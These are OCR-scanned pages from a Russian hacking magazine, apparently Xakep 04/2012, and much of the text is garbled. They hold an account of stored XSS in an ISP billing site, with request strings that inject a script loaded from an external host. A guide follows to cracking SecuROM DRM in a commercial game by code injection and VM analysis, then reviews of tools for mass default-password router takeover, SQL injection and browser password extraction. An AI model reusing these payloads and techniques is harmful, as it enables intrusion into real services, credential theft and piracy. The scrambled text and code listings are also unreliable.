тр а и отправки т икетов . Идем дальше. Вернувшись в личный

2012·02·02 03:02

·100.00

qOOO

каб ин е т, я решил поискать

2012-02·02 03:02

100 .00

qOOO

2012-02-02 03 :02

100.00

qOOO

А КАК ЖЕ

XSS? XSS.

Потратив достаточно времени

на п о и с ки , я н е нашел уязвимых мест [так мне тогда казалось]. Однако дальше, взглянув на раздел под названием <<Контактная

и нформация >> , я у видел , что у каждого из трех полей l<<e-mail>>, <<Тел е фоны >> и << Телефон для SМS-уведомлениЙ>>] есть кнопка

История перевода средств

для редактирования. Телефоны, это понятно, должны иметь

очевидную фильтрацию цифра/не цифра, но вот поле

<<e-mail >>

вп о лне может с одержать в себе ба г. Я попробовал прот о лкнуть простой код:

xjxfun•saveE mail&xjxr• 1328363403426&xjxargs[]•TEST xjxfun=saveTel&xjxr=1328363361153&xjxa rg s[)=eeeeeeeeeeee xjxfun=saveSMS Tel&xjxr=1328363389834& xjxargs[ )-eeeeeeeeeeee

<script src• "http: //***/ o.js" type• "text / javascript " > </script>

Открываю переменную хjхг, составляю GЕТ-запрос, выполняю его и проверяю- все работает, значе ния сохраняются. Теперь не­

много изменим запрос сохранения

Естественно, все это дело спровоцировало ошибку <<Введен нек о рректный

e-mail>>.

Хорошо, возвращаюсь к

IE

/cl ient.php ?x jxfun •save Email&xjxargs(]• cscript src•"http:// ***/o . js" type•"text / javascript" </script>

г о ворит << ieH ПPH eadeгs>>:

POS T /client.p hp

e-m ail'a:

и смотрю, что мне

НТТР / 1 . 1

В

o.js находится обычный aleгt["XSS"];. Выполняю- успех!

Мо й ядо в итый текст успешно был сохранен. Дал ее я решил обновить главную страни ц у личного кабинета и с разу же ув идел вы ск очивший aleгt. Что может быть лучше активной

XSS

на гл ав­

н ой с транице личного кабинета любимого nровайдера? Однако эт ого мне было мало, необходимо добить еще два поля. Вот что я с д е лал:

• / client .php? xj xfun=saveTel&x j xargs [)=eeeeeeeeeeee cscript src•"http:// ** */o.js " type• "text/javascript" > </ script> • / client .php? xj xfu n=saveSMSTel&xjxargs [)=eeeeeeeeeeee cscript src• "http: //* **/o.js" type• "text /ja vascript" > </ script>

_S ERVERiREQUE S T_ Щ.IE 1

РНР

~

ISteeiGevfXa]

02

•

'

Llcense

+ д*""'"'

~т·~

Пркв11Т,Оаеtеn 8 Гл.аона11

Р

Снова все успешно! Видимо, разработчики не рассчитывали на

Фаitлы

то , что кто-то допишет их код. Здесь следует учесть, ч т о макси­ -._·•to~.

мальная длина кода, который возвращался на страни ц е, составля­

··•-·• .,.., ... . ., ..

ла

260

символов, так что три уязвимых поля были весьма кстати .

подводя итоги Уже nозже от сотрудников !Т-отдела я уз н ал, что некоторые фай­ лы с айта не редактировались с

2008

года. Убогий код с огромным

количеством уязвимастей остался как наследие от работавших ранее программ истов.

Как такой биллинг работал в течение долгого времени, я пред­

ставляю с трудом. Но теnерь еще больше уверен, что детские уязвимости в виде полного отсутст вия nользовательского кода встречаются повсеместно, даже если речь идет о серьезных комnаниях , которые имеют дело с личными данными пользова­

телей и их денежными средствами. К счас ть ю, текущая коман да nрограммистов быстро исправила все ошибки на сайте. :Х: Отображаем п роизвольные страницы через активную

ХАКЕР

XSS

067

04/159/20 12

www.epidemz.net

elf licq: 77191161 cj licq: 37083071

взлом

Если ассоциировать SecuROM

v7.33 .17 с танком Абрамсом без динамической защиты,

OllyDbg

-с гранатометом РПГ-7, а

X-

code injection- с кумулятивной гранатой для гранатомета, то, как и в реальности,

такой выстрел навзничь

ВНЕДРЕНИЕ Х-КОДА

И ВИРТУАЛЬНАЯ МАШИНА: ТЕОРИЯ И ПРАКТИКА ВВЕДЕНИЕ

Ищи на диск е :

•

Полную

версию данного исследования;

• SecuROM 7 Profiler v1 .0; Материалы по работе SecuROM

•

7

&VM ; • Исходники X- code

injection lt x t-Ьinl ; • Видео «X-code injection в действии! »

на сумасшедшую «популярность»

Secu ROM

во

прошьет броню этой тяжелой

Стратегия Tibeгium Waгs до сих пор явля-

всем мире, в нашей стране редко когда можно

неповоротливой машины

ется одной из самых популярных игр се рии

услыша т ь о нем публично [ exelab.гu в расчет не

и достигнет поставленной цели

-

ОЕР. Выведенную из строя

машину изучают Российс кие инженеры

...

Commaпd

& Сопquег

от н ебезызвестной

ко н торы E lectгoпic Aгts. Последняя лояльно относится к Sопу

берем!. В первую очередь это объясняется на­ личием своего звездного протектора, но если

Sопу после н ескольких судебных ра збира­

Digital Audio Di sc Согрогаtiоп [SONY DADCI, чью мать вспоминают, когда очередная игрушка, запротекченная SecuROM,

тельств отказалась от услуг нулевого кольца,

просит вставить оригинальный диск. Несмотря

пользоваться низкоуровневыми функциями,

то ребята из Pгotectioп Techпology продолжают

ХАКЕР

068

www.epidemz.net

04/159/2012

Тибе р иум н ый реверс ин г

пр ограммах, которые соз д ают н еnрия тн ости их

п родуктам. П рисоедин и ться к процессу тоже

Windows NТ \С u гге ntVe rsi оп\ Wi п d ow5 \Ар р 1п it. Так вот, наша задача- перехватить управ­

н ельзя- он просто завершится. Впрочем, эта

ление в нужном месте и по казать адрес воз­

г адость действует только н а время проверки

врата, чтобы в нужное время присоединиться

д и ска. Н еnлохо! Для меня т о гда это озна ч ало,

к процессу. П очему я иду таким путем? Как уже

что ближайший месяц О Е Р и рабочий дамп я

было упо м януто выше, вся проблема состоит

точ н о не увижу. Конечно, спустя несколько ме­

в том, что разработчики прекрасно осведом­

сяцев я не хуже разработчиков знал, что и как

лены о любых программах, которые создают

ра бо т ает в

проблемы их продуктам. Этот факт несложно

SecuROM 7.33.

Причем вся линейка

7.3 х практически идентична, особенно это ка­

проверить, прослушав

сается виртуальной машины [самое заметное

в исследуемом протекторе. Механизмы меж­

изменение: <5расе

for гепt> в более поздних «You Аге Now Eпteriпg а

FiпdWiпdow

CreateFile,

процесснога взаимодействия- вчерашний

версиях заменено на

день; передовой способ борьбы с наворочен­

Re5tricted Агеа>>]. Но сейчас у меня только один

ными защищалками-не п осредственное

отладчик и никакой надежды выйти победи­

внедрение в целевой образ защищенной про ­

телем такого серьезного врага, над созданием

граммы. Обнаружить его на порядок сложнее,

которого трудились весьма не глупые люди.

ведь в этом случае мы используем ресурсы

самого протектора. Д абы противостоять такому

ФИЛОСОФИЯ ВЗЛОМА

На м д а ли зе л е ны й с в е т! Снима е м дамп !

раскладу, прежде всего вводят проверку

Пробить навесную броню и доехать до ОЕР

целостности файла [динамическая защита]. Ту

тупым ковырянием в отладчике- слишком

самую, которая отсутствует в нашем случае [чем

где абсолютным чемпионом по вызову являет­

долго и неэффективно. Будем бить в бортl

я, собственно, воспользовался]. Едем дальше.

ся

П ервая дыра в защите не заставила себя

Я уже сказал, что для компиляции

долго искать: я сразу заметил, что протектор

использован

одна арена для битвы- прикладной уровень.

не проверяет целостность всего файла. Ну, не

что и cпc3game.dat откомпилирован тем же ком­

И, естественно, они приложили максимум

то чтобы совсем не проверяет, нечто подобное

пилятором. Точка входа выглядит как :

усилий для обеспечения надежной защиты ..

имеется, но вот только идет оно как правер-

KeBugCheckEx. Таким образом у разработчиков осталась

которая была пробита, разобрана и демонти­

ка участков и направлена, прежде всего, на

рована:].

выявление программных точек останова [так

004628DA 004628DF

С++

Microsoft

7.0.

CNC3.exe

А ведь очевидно,

CA LL 00478488 JMP 004626FA

называемый <<перекрывающий код>>]. Она мне

WHAT 15 TARGET

никак не мешала, поэтому в практическом

Реально точка входа находится по

Сначала определимся с нашим инструмента­

плане это означает, что возможно внедрение

операнду прыжка -

рием. Собственно, понадобится сама игруш-

Х-кода в образ файла статическим путем.

по адресу

ка

Строго говоря, Х-код- это осмысленная со­

занимается, и я ее всегда игнорирую. Однако

для снятия дампа-

004626FAh.

004784B8h

Функция

ничем полезным не

Tiberium Wars [с последним патчем 1.9], OllyDbg 1.10 с OllyDmp [собственно как дам пер] и OllyDbg 2.0 без

вокупность байт, внедренных посторонним

в ней мы находим, что она вызывает не­

лицом или про г раммой в целевой код процесса

сколько API [GetSystemTimeAsFileTime,

каких-либо плагинов. Несмотря на такой столь

с целью выполнения определенной задачи.

скромный набор, в нашем случае работать можно с одним отладчиком, а основным

оружием будет ассемблерный код. Но прежде

Различают следующие типы:

GetCurreпtProce5sld ... l. Для нас это означает только одно: если в

1. On-line patching . Через WiпAPI Rе а d Р го се 55 М е m о ry/W г i te Р го с ess М е m о г у

GetSystemTimeAsFileTime

внедрить Х-код, который перехватит уnрав­ ление и покажет нам адрес возврата, то у нас

всего ответим на вопрос, какой исполняе-

читаем/пишем в адресное пространство

мый файл требуется загрузить в отладчик.

процесса. К примеру, таким образом, ставят

в окрестности ОЕР и снять рабочий дамп, при

Переходим в папку с установленной игрой.

флаг регистрации в

условии, что после распаковки стартовый

Первым на глаза попадается безобидный

AsPack

CNC3.exe: судя по точке входа, откомпили­ рован Microsoft С++ 7.0, стандартные секции .text, .rdata ... Правда, если его запустить, нас

с распаковкой. Однако современные про­

И хотя

текторы типа

некоторых значимых WiпAPI, этот список

вежливо попросят вставить оригинальный диск. Извините, имеется только

Tools

Daemon

с образом, поэтому возникает вполне

NtExplorer

под эгидой

2.11с, чтобы не заморачиваться

Themida

не дают доступ в свое

адресное пространство.

2. Offline patching . И ли

статический патчин г.

будет замечательная возможность попасть

код действительно на своем законном мес т е.

SecuRO M 7.33

проверяет пролаги

весьма неполон, плюс сама проверкаидет

только в самом начале. Вот тебе и следую щ ий

Собственно, наш случай, когда ничто не

недочет! Теперь пора собрать нашу куму­

мешает nисать прямо в исnолняемый об­

лятивную гранату. Место для базирования

нормальное желание развязать четвертую

раз и перехватывать в нем управление.

я выбрал в конце секции

тибериумную драку и, в ко н це концов, о т о­

Обнаружить такого <<Wтирлица>> у себя

к сборке- написанию а5m-кода, который

драть проверку диска от nро г раммы. Так как я

в тылу протекторам на порядок сложнее .

самостоятельно выполнит всю работу. Весь

был знаком с предыдущими играми из серии

При необходимости одурачивают защиту,

Сп С, то знал, что

делая оригинальную копию исполняемого

CNC3.exe

играет роль обертки

и прос т о через WiпAPI Create P гocess запускает

файла и через GetCommandline/Get FilePath

нужный файл с расширением .dat [на са м ом

возвращают ссылку на него.

деле обычный

Microsoft Р Е Е Х Е format] с нуж­

3. 011-hijacking . С

.e5t

и приступил

ОСНОВНОЕ ''ГЛАВНОЕ" ХРАНИЛИЩЕ

VM

(СПЕЦИФИКАЦИЯ) Г

учетом того, что nри загруз­

Xl~AIIHЛHЩE

/1РЕС В

IM

Ni!l

б"'- OI I IO'AHДЬI

JMP

EЛXt fШII

АРГУМf:НТВ JI З •вл·н,J ~АПРОСОВ"'

DЛЛГИ СОСТОЯНИЯ

(EFI)

ными параметрами. Несложно догадаться,

ке образа первыми получают управление

что искомая цель - \Retai1Exe\1.9\cпc3game.

динамические библиотеки, записанные

dat. Грузим в отла д чик упомянутый файл и по секции .securom понимаем, с чем имеем дело. F9 ... Милое окошко с надписью « Н е уд алось

в его таблице импорта [точнее, функция

OЬBl-Pl КЛ

DII Mainl, то мы первыми получаем бразды

В:<ОЛ, В •ХРЛIШJШЩF.

правпения над защитой и успеваем скрыть

запустить требуемый модул ь безопас н ости>>.

себя задолго до работы навесной брони.

ts 0/), В 9ИРТУЛ..7IЬl 1 УЮ МАIШНIУ RUJ-J;лrrr RХОЛ В ~rJIЛRIIOEo: Х1'АНИЛШ111:·'•

8111'1 }.~;JЬJIOJ"O

СПКА

Rl_о:РХУШКЛ С'J' IШЛ {SТЛСК POINTF.H)

2с

.artPm., ~ ~tД.ЕIIНЫЙ I.OCK ВУТ& ВХОД 8 "'XPAIIИJIИПtE Nt2"' 11 OI'fV\_ДJISI XPЛIIIOIHЯ ПРОМЕЖ}"ТОЧНЫХ

ДЛH II hiX

И~ПОЛЬЗУЮТ .,ОСТРОВКИ~ ВО ВРЕМЯ РАБОТЫ

Еще раз его мож н о прочитать, ес л и запустить любой А Р I-шпион, Ргос М оп ... Одним словом,

Напоминаю, что для быстрой загрузки можно

разработчики прекрасно осведомлены о всех

прописаться в HKLM\Software\Micro5oft\

ХАКЕР

04/159/ 2012

Понимание главного хранилища является ключевым для в з лома алгоритмов работы вирт у альной машины

069

www.epidemz.net

взлом

1!Ш3

код состоит из двух частей. Первая доста-

• Ьit. l y/x~i B~f -

вит саму гранату на место: заменит пролог

GetSystemTimeAsFileTime

на безусловный

англоязычная статья

по виртуальной

переход ко второй части. Собственно, в этом случае получаем управление из распаковщи­

02906ЕЕВ

ка [определить мес т о которого неслож но, по­

029D6EEE 02906EF1 02906EF3 029D6EF5 02906EF8 029D6EFE 029D6F 01 029D6F 03 029D6F05 029D6F08 029D6F ОА 029D6F OD 02906F OF 02906F12 02906F14 029D6F17 02906F19 029D6F1B 029D6F1E 029D6F21 029D6F28 029D6F2A 029D6F2D 029D6F3 О 02906F33 029D6F35 02906F38 029D6F3D

ставив точку останова на секцию .textl и туда же его воЗвратим после того, как переход бу­ дет установлен. Кстати, первоначально, чтобы

получить доступ на запись в секцию kегпе132.

text [дело было на висте), я офлайн на 2k3 через PeTools устанавливал атрибут Wгite, пересчитывал контрольную сумму ... и ведь работало! Способ весьма дурной, учитывая, что есть WiпAPI ViгtuaiPгotect, но нестандарт­

ные подходы иногда тоже на руку. Переходим ко второй части нашего представления.

П ервоечередной задачей здесь является по­ каз адреса возврата и удержание управления

до прибытия на место отладчика. Я реализо­ вал свой алгоритм, который переводит

large

integeг в ACSIIZ-cтpoкy [об ltoa я тогда не знал), а задачу показа и удержания управле­ ния элегантно решил с помощью

MessageBox,

но затем уnравление nередается обратно в

WinAPI.

Впрочем, для показа можно нагло

использовать функционал самого протектора

CгeateThгead с адреса т ом

-

OOF9ADOE,

но это

непроизводительно. Итак, граната собрана, поnробуем! Монтируем мини-дамп. Запускаем игру. Нас интересуют все

MessageBox nосле OODDCE77, 76 В 41404, 7С34207В, 0040А5А Е ... Сто-ооп l П оследний, да ведь вызов идет из секции .text l We need attach nowl Присоединяемсяк процессу альгой 1.10, проверки:

которая с дам nером, и переходим по послед­

нему адресу . Невероятно, но мы остановились

практически в ОЕР [точка входа расположена по адресу 0040А2С7). Немноги м позже, когда виртуальная машина [VMI стала более-менее

029D6FЗE

029D6F40 029D6F45 02906F46 029D6F48 029D6F 48 029D6F4E 029D6F51

0343 8870 04 8800 89С2

10 81Е 2 FFOOOOOO 0053 10 89F2 D2CA С1С2 08 D2CA С1С2 08 D2CA С1С 2 08 8А48

AOD NOU NOU 1101) NOU AHD ADD

машине SecuROM 7.30. Я нашел эту

PTR PTR PTR

публикацию ко гад уже завершал исследование , но

тем nриятнее было увидеть , что в целом наши выводы

совпали . Однако в статье структура

~101) ED X, ESI ROR DL,CL ROL EDX, ROR DL,CL ROL EDX, ROR DL,CL ROL EDX, 02СА ROR DL,CL С1С2 08 ROL EDX, 8906 NOU ESI,ED X t•10U ED X,EAX 89С2 С1ЕА 18 SHR ED X, 8 013493 ADD DWORD PTR DS:[EDX•4+EBX] ,ESI 8143 04 08 0000 ADD D\~ORO PTR DS: [Е8Х+4] , 8813 NOU PTR DS: (ЕВХ] ADD 03 53 о с PTR DS: [Е8Х+ОС] С 1ЕО 10 SHL ЕА Х , С1Е8 18 SHR ЕАХ, oocs ADD AL,CL PUSH DWORD PTR DS:[EAX•4+EDX] FF3482 ~101) ЕАХ, 88 01 000000 PUSH ЕВ Х 53 OFA 2 CPUID 25 DF FF FF FF AHD Е АХ, РОР ЕВ Х 58 88С1 NOU CL , AL NOU EAX, DWORD PTR DS:[E8X+OC] 8843 ос D30C24 ROR D\·IORD PTR SS : (E SP] ,CL 010424 ADD D\·IORD PTR SS :( ESP] , EA X РОР ЕА Х 58 FFEO ЕАХ

Оптими з ируя скорость работы вирт уа льн о й машины, в обф у с к ации один из остров к ов!

VM излагается в несколько ином виде , да и некоторы х

аспектов работы

VM

я не увидел .

• Ьit.lylxG9 L ry NoDVD для СпСЗ: Tiberium Wars v1.9. Отличительной

особенностью является пристроенная

в секцию

.mem-

агу вирт у альная

машина . В стать е в з ят в кач е ств е основного

при мера . Новичкам рекоменду е т с я нач а ть с н е го .

SONY DADC решили оставить без

изучена, было сделано еще одно умашоки­

рующее открытие [снова просчет команды из SONY DADCI- попасть в О Е Р можно

В итоге не выигрываем ни в размерах дампа,

с ювелирной точнос т ью и nри этом еще более

ни в быстродействии.

безопасным путем. И как вы думаете, что

этому помогло?

SecuRO M v7.33

Viгtual

Machine,

В общей сложности на nолный разбор

чья задача- наоборот защищать от взлом­

полтора я поnросту копалея во всем без

щиков, но никак уж не nомогать имl

разбору, пока не «догадался >> начать ис­

SECUROM V7 VIRTUAL MACHINE

VM

ушло около двух месяцев, причем первые

MOV DWORD PTR DS: [E BX+0C ],EDX MOV ВУТЕ PTR DS: [E BX+10], 95 MOV DWORD PTR DS:[ EBX+14], EBX MOV DWORD PTR DS:[EBX+lC] ,ESP Код, приведенный выше, с потрохами выдает

следование с самого начала цепочки- и вот

главное хранилище, которое играет ключевую

тут началось ... Сама

роль в

SecuROM v7.3x VM

по

VM.

Разберешься в переменных и вобла­

существу не является виртуальной маши­

сти хранения nромежуточных данных- считай,

с готовым образом добраться до ОЕР и снять

ной в привычном представлении, никакой

что

дамn- по факту дело нескольких минут,

ас м-код там не эмулируется. Все куда проще:

видно, что по существу здесь все наштамповано

матерых взломщиков это никак не остановит.

по существу nроцедура с двумя аргументами

методом copy/paste. В-третьих, сумасшедшее

Навесная защита бессильна, значит, выход

[LPDWORD и VOIDI и тремя вариантами работы.

количество закономерностей вплоть до исполь­

один- сделать максимально неработоспособ ­

Ну а дальше остается только удивляться.

зования регистров

ным дамп! Следуя этой логике, большинство

Во-первых, чтобы понять, как оно работает,

что один из островков находится без обфускации

не хочет заморачиваться с

Инженеры

Sony DADC

как в воду глядели:

VM

на

90% взломана!

CPU

Во-вторых, стало оче­

на островках. А тот факт,

просто внимательно изучи nервый островок

-вообще убило! Единственное, что здесь ре­

ее сложную структуру, в ко т орой нереально

[кусок кода от sрin-блокировки до JMP EAXI,

ально доставляет, это RОL-байт lcгypt-bytel, так

разобраться за приемлемое время, и предпо­

который, как ни странно, выполняется всегда,

как без знания того, какие точно матоперации

читая дампить всю выделенную виртуальную

и всегда первый.

с ним выnолняют все

VM,

nрописывая

к

VM,

и приваривают ее в виде отдельной сек­

REP STOS DWORD PTR ES:[EDI ]

<< MOV Е АХ, 1; CPUID; >> инструкцию «MOV AL, CURRENT_CPUID_K EY_ DELTA_DECODE >> и проделать оное еще 254 раза.

островков виртуальной

автоматизированную ломалкуиснять все за

раз. Собственно, кому хочется пони мать, о чем

ции, предварительно догадавшись вставить

nосле конструкции

255

машины, невозможно построить кулхацкерскую

память, и имеющую, и не имеющую отношение

MOV DWORD PTR DS:[EBX+4],EAX MOV EAX,DWORD PTR SS:[ESP] MOV DWORD PTR DS:[EBX+8],EAX

все-таки идет речь- читайте полный вариант

статьи на диске или на нашем сайте. Следующий

воnрос- реально ли отодрать

VM оттибериума?

ХАКЕР

070

www.epidemz.net

04/159/20 12

Тибериумный реверсинг

Интуиция подсказывает, что более чемl Я уже успел проболтаться, что вариантов работы три.

Начнем с последнего [способ

NQ2], собственно

нумерующихся по мере их появления в за­

щищенной программе. Способ

NQ2

полностью

61'1 0111Hif>OЗ

6А 6А

IJ111)0(>()/

U11Dfl ... f)9

0111)11(,[1

:) ..

II110IJM3 111101161 •• 11111)1161 ., IJIIDIIIoLR IJ111Hit>ll

so

IJI!OU(>I 1 1111Dfll'>l n

работы алгоритмами, представленными в виде

111"100611

двух процедур'С двумя аргументами, которые

отрабатывают друг за другом . В первом заносим

любое число [например, 1], второй- ссылка на массив ключей [offset OOB93AFC], которые копи­ руются в стек

На выходе в ЕАХ получается

VM.

что-то типа закодированного числа [0790А442], которое было передано в первом аргументе.

Если это закодирован н ое число [0790А442] скор­ мить в первый аргумент алгоритма обратного хода, то на выхо д е в ЕАХ мы получаем ту же

1,

при условии, что массив ключей был одинаков

[offset OO B93AFC]. Короче, имеем две функции,

[ l_yp<i'

capt;Jo" Tl.":><t: lou ...... ,

FE09 .. CO : : p l

0WOMO

PTR

0

O S: ~USEH3 2 .1~ ~~UoxAJ

::~~~~;:::1

UIIDII"IНI

:

O'I OE OFB6 59

07

. А · ~

~:~~:~~~~

~~~~~~~~~

>

~~~~~i~~ 1 01100/22

UI!OH/:.>/1

,.

.. .. ЕО

P US H 1\iAX ..1111' S lttllll

118

00

01 IOun;•o 1)1 1011/?1

>

1 01100/21 (JI11)1J.f:JOol n11D07:19I 1!111>11/:111'

68

lt1101J 72.,

Hl}f' но о С2071001

PU S H 1.11 t0117C :.> PUS H AO

Enx ,E:nx

33СО

хон

АО

Е806 1001

ОЕ

ЕОО6100 1

::~~ :~i ~~~~ 0 =~~ 0 0 S: 0.10B6Цt_J

8F

00891 001

85 81

I IOU

EO I

, IJ"II OB91НJ

зu

~~~: ~~~ , ЕСХ

30

1-IDU

CL.,

XO R

I!OX

33С9

U110D/ЗO

,ЕОХ

lti!OU.f:JI

1111DJI/Iol

~ :·tP s ~~R~ L. o ·t10U 76 6

01100/'o:J 1111011/ ...,

"

U S ER3 2. 11 e!<!1 Age80XA

00

EUB61 001 3 1 00 0 00000 IJUUUUUOU 00 000000

:~~~~~~: [ ~

Ul 100/"7 111108/>on

HUL L HUL.L.

ЕВ

01100111

~: ~~~~~~

:~~ н En X PU S H PU S H

nз

U111)U6Гa

завязан с двумя противоположными по логике

PU $ H

UD (Ht

~~1 5

UI11)0(>0A

, " 11>1161 о

IШ_UK jiiU_ I CO H RSfER 1 SK jiii.I_DEFI:IUTTOH1 jiiO_RP I 'LIIUUAL

.. 0

:~

01 !0060 .. 11110Jit>0'•

~ ::~ ~ ~~HI

>

'.' ' ~

n ••r:

SecuROM v7.33 .017

~ IIOHl

111"1 001"1 011QU I .. I

и не пр е дставляет, какими серьезными последствиями гро з ит внедренный Х-код

дающие в сумме нулевой эффект. Собственно, роль

VM

в них такова: в первом случае крышуют­

ся асм-инструкции

MOV MOV MOV AND MOV

GetModuleFileNameA, DeleteFileA, GlobaiFгee. Обращение к VM в этом случае всегда ознаме­ новывается CALL ЕА Х, информация черпается

43 Е 2АВ9 0] упрятанные данные. Наиболее эффективное решение.

ЕАХ,

DWDRD PTR 55: [ЕВР+8) DWORD PTR D5 : [ECX) DWORD PTR 55: [ ЕВР+0С)

десятка вызовов- смело выдираем и ставим

ЕАХ,

ЕСХ

нормальные вызовы

ЕСХ,

ЕАХ

блемным является самый первый способ [по

В остальных случаях все обходится прямым

причине сумасшедшего количества вызовов­

вызовом

ЕСХ,

ЕСХ,

Во втором- инструкция

NOP

по известным смещениям в таблице импор-

та. В общей сумме в дампе набралось около

в перенос н ом

смысле. Прич ем прийти к этому выводу можно и без вскрытия

VM,

просто сравнив две упомя­

нутые процедуры [обратного и прямого хода]. Следующие в списке способы-

NQ1A

и

NQ1.

Они похожи, но с той лишь разницей , что первый после выхо да из в запрашиваемую

VM переносит нас WinAPI, а второй - в за ­

прашиваемую внутреннюю функцию [к слову,

около

1.

WinAPI.

Наиболее про­

1Ok]. Тут два варианта:

VM

без второго зле мента в ц епочке.

Суть в том, что инструкция

но требуется перетыкать все возможные

железнодорожной стрелки. П ервый раз, когда

меню, да и вообще пройти чуть ли не всю

вызывается внутренняя функция, <<стрелка>> пе­

игру. В отличие от <<Косынки>> и <<Пасьянса>>

реведена на

- верный способ убить время с пользойl

происходит заправка упомянутых выше двух ар­

2. Зная структуру всех 255 островков [на самом деле в способе NQl участвуют около 50], по сигна т уре базы запросов написать на С++ программу, которая ищет все базы за просов , затем строит всю цепь работы

Скрытых

VM

полный список: SetUnhaпdled E xceptionFilteг,

PTR ОS:[перемещаемый адрес] -7 база за­ -7 JMP [VM_VIR TUAL_ADDR ESS] -7 VM.

проса

JMP DWORD PTR ОS:[перемещаемый адрес] играет роль

всего- операция с резервированием стека]. не так уж и много, вот не­

NQl является пере­ VM: CALL ANY_OFFS ET -7 JMP DWORD

Дампить. Прос тая техническая реализация,

это может быть о дна асм-инструкция, чаще

WinAPI

Особенностью способа ход к

и в нужном месте виртуального стека

вытаскивает и дешифрует [XOR SecгetDATA,

VM, а

точнее- в базу запросов, где

гументов для виртуальной машины [LP DWORD и VOIO]. В процессеработы VM извлекает адрес запрашиваемой функции и ставит его как перемещаемый адрес- стрелк а переведена! После выхода из

VM происходит

переход в нашу

запрашивае мую функцию, ну а после первого вызова все, кто будет ее вызывать, попадают сразу куда нужно. Как видишь, оп тими зация! Кстати, количество и н струкций, которые выполняются за один прогон виртуальной ма­ шиной в способах Зk, зато способ

NQl и NQ1A, колеблется около NQ2 бьет все рекорды- ЗОk.

При чем островок без обфускации принадлежит именно последнему с п особу. Финишная работа с дампом включает перестроение в нормальный вид секции кода, удаление ненуж н ых и посто­

ронних внедрений типа

0044F4D2 0044F4D8 00482DE5 00482DEF

DEC DWORD PTR D5 : [158297A ) JE NODVD. 00482DE5 MOV DWORD PTR D5: [158297A ), 18D JMP NODVD. 0044F4DE

Последним пунктом отсылаем дамп в Sопу

DAOC.

На этом тибериумная драка заканчива­

ется.

ЗАКЛЮЧЕНИЕ В заклю чени е я просто поблагодарю

DADC

SO NY

за ее действительно интересный про­

дукт [для хакеров в частности ] ! Д о встречи на ОЕР на горизонте!

ХАКЕР

VM

под контролем

страницах][. ::Х::

xD

071

04/159/2012

www.epidemz.net

взлом

СОФТ ДЛЯ ВЗЛОМА И АНАЛИЗА БЕЗОПАСНОСТИ

Ав т ор :

__ ---· ------__ --... -----

slider URL: bit.ly/yMgi86

__

............

,, ....

Сист ема :

"nix/win

"'

,...••'--"'.J

ADSL-POYTEPOB BVSCANNER

Автор :

garinn URL: ripper.zuB.ru

The SX Team URL: bit.ly/htBkrs

Система :

Сист е м а:

Windows

Windows

.."."..

~-

МАСС-ХЕК ВМЕСТЕ С

Автор:

....

=

.......

'

ЛЕГКИЙ ПОИСК И РАСКРУТКА

ВОССТАНАВЛИВАЕМ ПАРОЛИ ОТ БРАУЗЕРОВ

SQL- ИНЪЕКЦИЙ

BVScanneг [Biack Vlastelin Scanneгl - это

П рограмма SQLRippeг- зто продвинутый

маленький, но крайне интересн ый скрипт

и удобный инструмент, предоставляющий

все свои [или не совсем свои

на Регl'е. Он nозволяет с ка нить за д анные

мощные, гибкие и очень простые в исполь­

сер вис ов. Эти парали ты предварительно на

диапазоны адресов н а nредмет наличия

зовании функции для поиска и анализа

протяжении долгого времени сохранял в своем

в них ADSL-poyтepoв . В nроцессе скана nрога

SQL-инъекций на осно ве БД

б раузер е. Каким же образо м их добыть? Конеч­

MySQL

и

Представь такую ситуа цию: внезапно ты забыл

MSSQL.

парали от веб­

но, можно погуглить и най т и множ ество раз ­

nробует войти в обнаруженные раутеры с nо­ мощью дефолтных лагинов и па ролей. Если

:1

Возможности nрограммы :

личных утилит непонятного происхождения,

но есть способ лучше ' П редставляю теб е за ­

вход удался, то все найденные у ч етные записи

поиск относительных и абсолютных ссылок

выводятся на экран и записываются в файл

на страницах;

мечательный софт под си мволичным на з вани­

accounts.txt.

задание максимального количества найден ­

е м Вго wsег Pa sswoгd Dе сгурtог. Данная прога

ных ссылок на странице;

может легко и просто восстанавл ив ат ь па ро ли

Заnуск скриnта крайне тривиален:

проверканайденных ссылок на SQL-ошибки;

и з следующих браузеров: Fiг e fox, lп tе гп еt

perl bvscan ner.pl

определение количества п олей в S ЕLЕ С Т­

Ехрlогег,

> П ервый

IР - диа п азо н

запросе с помощью операторов

О ре га Вг оwsег,

>В тор ой

I Р - диапа зо н

ORDER

ВУ,

Google Chгome, Google Chгome Сапагу, Apple Safaгi, Flock Вг оwsе г.

GROUP ВУ. UN ION SEL ECT; точное определен ие п олей вывода;

Возможности и особенности софтины :

возможность замены пробелов и коммента­

commaпd-liпe и GUI -ин терфейсы в комплекте;

поточным, за очень короткое время можно

риев на аналоги в случае наличия

восстановлен и е па ролей любой длины

легко получить просто огромное количество

сохране ние промежуточных результатов

и с л ожности;

аккаунтов. В результате успеш н ого ска н а

парсинга в файл

ав т оматическийпо и с квсех подд ерживае ­

и получения доступа к учетке злоумышленник

чтение струк туры базы данных и ее со хран е­

мых браузеров;

может сделать следующее :

ниевХМ L-файл;

функционал сортировки и редактирования

• Кстати, так как сканер является много ­

IDS;

.dbl;

изменить параметры учетной записи и ли

вы грузка произвольной таблицы и сох ран е­

найденных па р олей;

настройки модема;

ни е ее в

сох р анение результатов в HTM L/X ML/Text;

.dbl.

программа представлена в РогtаЫе­

продолжить целевую атаку внутри сети;

Хотя программа и обладает интуитивно­

создать

п онятным интерфейсом, но тем не мен ее

варианте, что исключает необходимость ее

п редлагаю тебе просмотреть обучающий ролик

установки.

PPTP-V PN

на модеме, п одключ и ться

к нему и снифать трафик в открытом виде; перепрошить модем, предварительно

[bit .ly/ydHA2o ] с описанием основных ее фич,

Пример использования утилиты из команд­

внедрив в образ разный ядовитый соф т,­

а также с л едить за всеми обновлениями на

например, те же самые сниферы .

официальной странице утилиты.

ной с троки: Brow serPasswordDe cry ptor .exe <output_fil e path>.

ХАКЕР

072

www.epidemz.net

04/159/ 2012

X-Tools

Автор :

[;;] С=\ Windows \system32 \cmd.exe С : ' tools >PindDorr~ain s .ехе http:// 216.239.59.104 http://gfe - gu . google.com http: / /\·1\·m .google. сот l1ttp:/ /<·l<m .google. de http://google.fr http:/ /googlea>•t}l.de http://google.it http://google.e s http: //google.de http: // www.google.co.uk

\·1\·1\·1 -

google. со1Т1

Mesut Timur URL: code.google.co m/p/ finddomains

Find Doma ins- это nолезнейшая

димо получить идентификатор Bing

Сист е ма:

вещь д ля пентестеров. Данная прога

Developeгs. Сделать это можно тут:

*nix/win

пр едстав л яет из себя многопоточный ный для раскрытия доменных имен,

